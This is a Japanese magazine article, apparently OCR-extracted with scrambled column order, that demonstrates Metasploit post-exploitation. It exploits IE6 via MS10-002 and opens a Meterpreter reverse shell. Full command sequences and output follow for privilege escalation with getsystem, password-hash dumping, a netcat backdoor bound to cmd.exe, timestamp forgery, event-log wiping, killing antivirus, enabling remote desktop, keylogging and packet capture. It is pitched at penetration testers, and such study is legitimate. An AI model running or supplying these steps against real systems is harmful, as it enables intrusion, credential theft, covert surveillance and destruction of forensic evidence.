ターゲットマシンを自在に操る Metasploitによる Post-Exploitation ターゲットに侵入することがゴールではない。 侵入してから何をするのか? が重要だ。こ こではMeterpreterというペイロードを使い、 ターゲットのマシンの権限を奪った後にいっ たいどんなことができるのか紹介したい。 Metasploitで侵入した後に 文●北河拓士 成しない。Exploit したプロセスから既存の他の プロセスに乗り移ることが可能。メモリ上のみで 攻撃者(ペネトレーション・テスター)にとって 実行されディスクにアクセスしない。TLSv1 での ターゲットシステムを Exploit( コマンドシェルを 暗号化された通信を使用。初期状態では最低限 奪取)することが最終目的ではない。Metasploit の機能のみが送り込まれ、他の機能は必要に応 開発チームの1人 Carlos Perez 氏の言葉を借りれ じてネットワークからロードされる、などだ。また、 ば ”Shell is Only the Beginning”「シェルは始ま 権限昇格、ファイルのアップロード・ダウンロード、 りに過ぎない」のである。 プログラムの実行、パスワード・ハッシュの取得、 Exploit を 成 功 さ せ た 後 の 行 動 は Post- スクリーンキャプチャー、キーロガー、パケットス Exploitation と呼ばれ、Metasploit においては ニッファー、WebCam での録画、マイクでの録音、 Meterpreter というペイロードによって実現され イベントログの削除、ファイルのタイムスタンプ ている。Meterpreter は以下のような特 徴を持 改ざんなど多数の機能を持ち、スクリプトによる つ。Exploit したプロセスに自身を DLL としてイ カスタマイズも可能だ。 ンジェクションすることにより新しいプロセスを作 Meterpreterを使ってターゲットマシンを自由自在に操る 実際に Meterpreter による Post-Exploitation とし、ブラウザーの脆弱性を利用した受動的攻 を見ていこう。今回はターゲットを Windows XP 撃を仕掛けることとする※。 1 msf > use exploit/windows/browser/ms10 _ 002 _ aurora msf exploit(ms10 _ 002 _ aurora) > set PAYLOAD windows/meterpreter/reverse _ tcp PAYLOAD => windows/meterpreter/reverse _ tcp msf exploit(ms10 _ 002 _ aurora) > set LHOST 192.168.0.1 LHOST => 192.168.0.1 msf exploit(ms10 _ 002 _ aurora) > exploit [*] Exploit running as background job. ← Exploit の指定 ←ペイロードの指定 ←ローカルホストの指定 ← Exploit の指定 [*] Started reverse handler on 192.168.0.1:4444 [*] Using URL: http://0.0.0.0:8080/r0uYO21c0V [*] Local IP: http://127.0.0.1:8080/r0uYO21c0V [*] Server started. ←ターゲットホストの IE6 で URL にアクセス msf exploit(ms10 _ 002 _ aurora) > [*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.0.3 146 ※ パッチを適用していない Windows XP SP3、ブラウザーは IE6 を使用している PART 2 攻撃コード実行 の [*] Sending stage (749056 bytes) to 192.168.0.3 [*] Meterpreter session 1 opened (192.168.0.1:4444 -> 192.168.0.3:1034) at Tue Dec 28 19:32:54 +0900 2010 msf exploit(ms10 _ 002 _ aurora) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ←セッションをインタラクティブに まず Exploit として Google への攻撃(オーロラ攻撃)にも使用された IE6 の脆弱性(MS10-002)を用い、 Meterpreter のシェルを獲得する 2 3 meterpreter > help ←ヘルプの出力 Core Commands ============= Command Description ----------------Help menu background Backgrounds the current session (以下略) help コマンドでコマンドの一覧と 概要が表示される。すべてのコマ ンドを誌面で紹介することはできな いので、help を参照してどのよう なコマンドがあるかをチェックして ほしい meterpreter > sysinfo ←システム情報取得 Computer VICTIM OS Windows XP (Build 2600, Service Pack 3). Arch x86 Language ja_JP meterpreter > ipconfig ←ネットワーク情報取得 MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - パケット スケジューラ ミニポート Hardware MAC: 00:0c:29:75:7a:d5 IP Address : 192.168.0.3 Netmask : 255.255.255.0 sysinfo コマンドで、ターゲットの OS などのシステム情報を取得、 ipconfig コマンドでネットワーク・インター フェイス情報を知ることができる 4 meterpreter > ps ←プロセス一覧取得 Process list ============ PID Name Arch Session User Path --- ------- ------- ------0 [System Process] (中略) 1692 explorer.exe x86 0 VICTIMsuzuki C:¥WINDOWS¥Explorer.EXE ((中略)) 716 IEXPLORE.EXE x86 0 VICTIMsuzuki C:¥Program Files¥Internet Explorer¥iexplore.exe ←プロセス ID の確認 IEXPLORE.EXE meterpreter > getpid Current pid 716 meterpreter > migrate 1692 ← explorer.exe にプロセスを乗り移る [*] Migrating to 1692... [*] Migration completed successfully. ←プロセス ID の確認 explorer.exe のプロセス ID に変わった meterpreter > getpid Current pid 1692 IE の脆弱性を用いた Exploit を使用したため Meterpreter は IE のプロセスにインジェクションされている。 このままではユーザーがもし IE を終了させたらセッションが切断されてしまうので、別の安定したプロセス に乗り移ることとする。getpid で自身の pid を確認、ps コマンドでプロセスの一覧を取得し、乗り移る先 のプロセス(explorer.exe)の pid を確認する。migrate コマンドで乗り移る pid を指定した後、再度 pid を確認すると IE から explorer.exe への乗り移りが成功したことがわかる 147 5 meterpreter > getuid ←ユーザーの確認 Server username VICTIMsuzuki meterpreter > getprivs ←有効な特権の確認 ============================================================ Enabled Process Privileges ============================================================ SeShutdownPrivilege SeChangeNotifyPrivilege SeUndockPrivilege getuid でプロセスのユーザー、getpriv で現在有効な特権を確認すると現在のユーザーが制限ユーザーで あることがわかる。制限ユーザーではできることが限られるため、より高い権限に権限昇格を試みる 6 meterpreter > getsystem ←権限昇格 オプションなしでは複数の方法を試行する ...got system (via technique 4). meterpreter > getuid ←ユーザーの確認 Server username NT AUTHORITYSYSTEM meterpreter > getprivs ←有効な特権の確認 ============================================================ Enabled Process Privileges ============================================================ SeDebugPrivilege SeTcbPrivilege SeCreateTokenPrivilege SeAssignPrimaryTokenPrivilege SeLockMemoryPrivilege (以下略) 複数の権限昇格方法を試行してくれる getsystem コマンドにより権限昇格を行う。コマンドが成功した後、 ユーザーおよび特権を確認すると SYSTEM に権限昇格したことがわかる 7 meterpreter > hashdump ←パスワードハッシュの取得 Administrator:500:9ca6432f402b3e4726f8092a33daaf05:0110adc3eadbdcedbfa8496e6f6df5a0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (以下略) SYSTEM 権限が取得できたため hashdump コマンドによりパスワード・ハッシュの取得を行う。手に入れ たパスワード・ハッシュは John the Ripper などを用いて解析を行う 8 meterpreter > cd c:¥ meterpreter > download boot.ini [*] downloading: boot.ini -> boot.ini [*] downloaded : boot.ini -> boot.ini meterpreter > upload eicar.com [*] uploading : eicar.com -> eicar.com [*] uploaded : eicar.com -> eicar.com meterpreter > timestomp eicar.com -z "01/01/2005 00:00:00" 01/01/2005 00:00:00 [*] Setting specific MACE attributes on eicar.com ←カレントディレクトリの変更 ←ファイルのダウンロード ←ファイルのアップロード ←ファイルのタイムスタンプ変更 ファイルのダウンロード、アップロードを行う。また、timestomp コマンドによりアップロードしたファイ ルのタイムスタンプを変更する 9 meterpreter > shell Process 1428 created. Channel 7 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. Windows のコマンドプロンプトを起動するには shell コマンドを用いる 148 ←コマンドプロンプトの起動 PART 10 2 攻撃コード実行 の meterpreter > upload nc.exe ← netcat のアップロード [*] uploading : nc.exe -> nc.exe [*] uploaded : nc.exe -> nc.exe meterpreter > execute -f "nc.exe -l -p 8443 -e cmd.exe -d” -H ↑ netcat をバックドアとして起動 Process 1800 created. execute コマンドで任意のプログラムを起動することができる。ここでは netcat をアップロードしバックド アとして起動する 11 meterpreter > screenshot ←スクリーンショットの取得 Screenshot saved to optmetasploit3msf3datamaCGHBZA.jpeg screenshot コマンドでスクリーンショットを取得する。Metasploit を実行しているマシンで自動的にブラウ ザーが起動され jpeg ファイルが表示される 12 13 14 meterpreter > clearev ←イベントログの削除 [*] Wiping 333 records from Application... [*] Wiping 552 records from System... [*] Wiping 16 records from Security... meterpreter > run run arp _ scanner (以下略) ←スクリーンショットの取得 run multi _ meter _ inject clearev コマンドでイベントログの削除 を行う run と入 力し Tab を 3 回 押すと実 行可 能 な Meterpreter スクリプトの 一 覧 が 表示される meterpreter > run checkvm ←仮想環境かをチェックする [*] Checking if target is a Virtual Machine ..... [*] This is a VMware Virtual Machine ←アンチウイルスを停止する meterpreter > run killav [*] Killing Antivirus services on the target... ←リモートデスクトップを有効にする meterpreter > run getgui -e [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos _ perez@darkoperator.com [*] Enabling Remote Desktop [*] RDP is disabled; enabling it ... [*] Setting Terminal Services service startup mode [*] The Terminal Services service is not set to auto, changing it to auto ... [*] Opening port in local firewall if necessary [*] For cleanup use command: run multi _ console _ command -rc /root/.msf3/logs/scripts/getgui/clean _ up _ _ 20101231.1118.rc ←キーロガーの実行 meterpreter > run keylogrecorder [*] Starting the keystroke sniffer... [*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/192.168.0.3 _ 20101231.1138.txt [*] Recording ^C[*] Saving last few keystrokes [*] Interrupt [*] Stopping keystroke sniffer... ←パケットキャプチャーの実行 meterpreter > run packetrecorder -i 1 [*] Starting Packet capture on interface 1 [+] Packet capture started [*] Packets being saved in to /root/.msf3/logs/scripts/packetrecorder/VICTIM _ 20101231.1224/ VICTIM _ 20101231.1224.cap [*] Packet capture interval is 30 Seconds ^C [*] Interrupt [+] Stopping Packet sniffer... meterpreter > 非常に多くのスクリプトが提供されているのですべては紹介できないが、これはその一部だ。あらかじめ用 意されているスクリプトを実行するだけでなく、自分でカスタムのスクリプトを作成することも可能だ 149
© Copyright 2024 Paperzz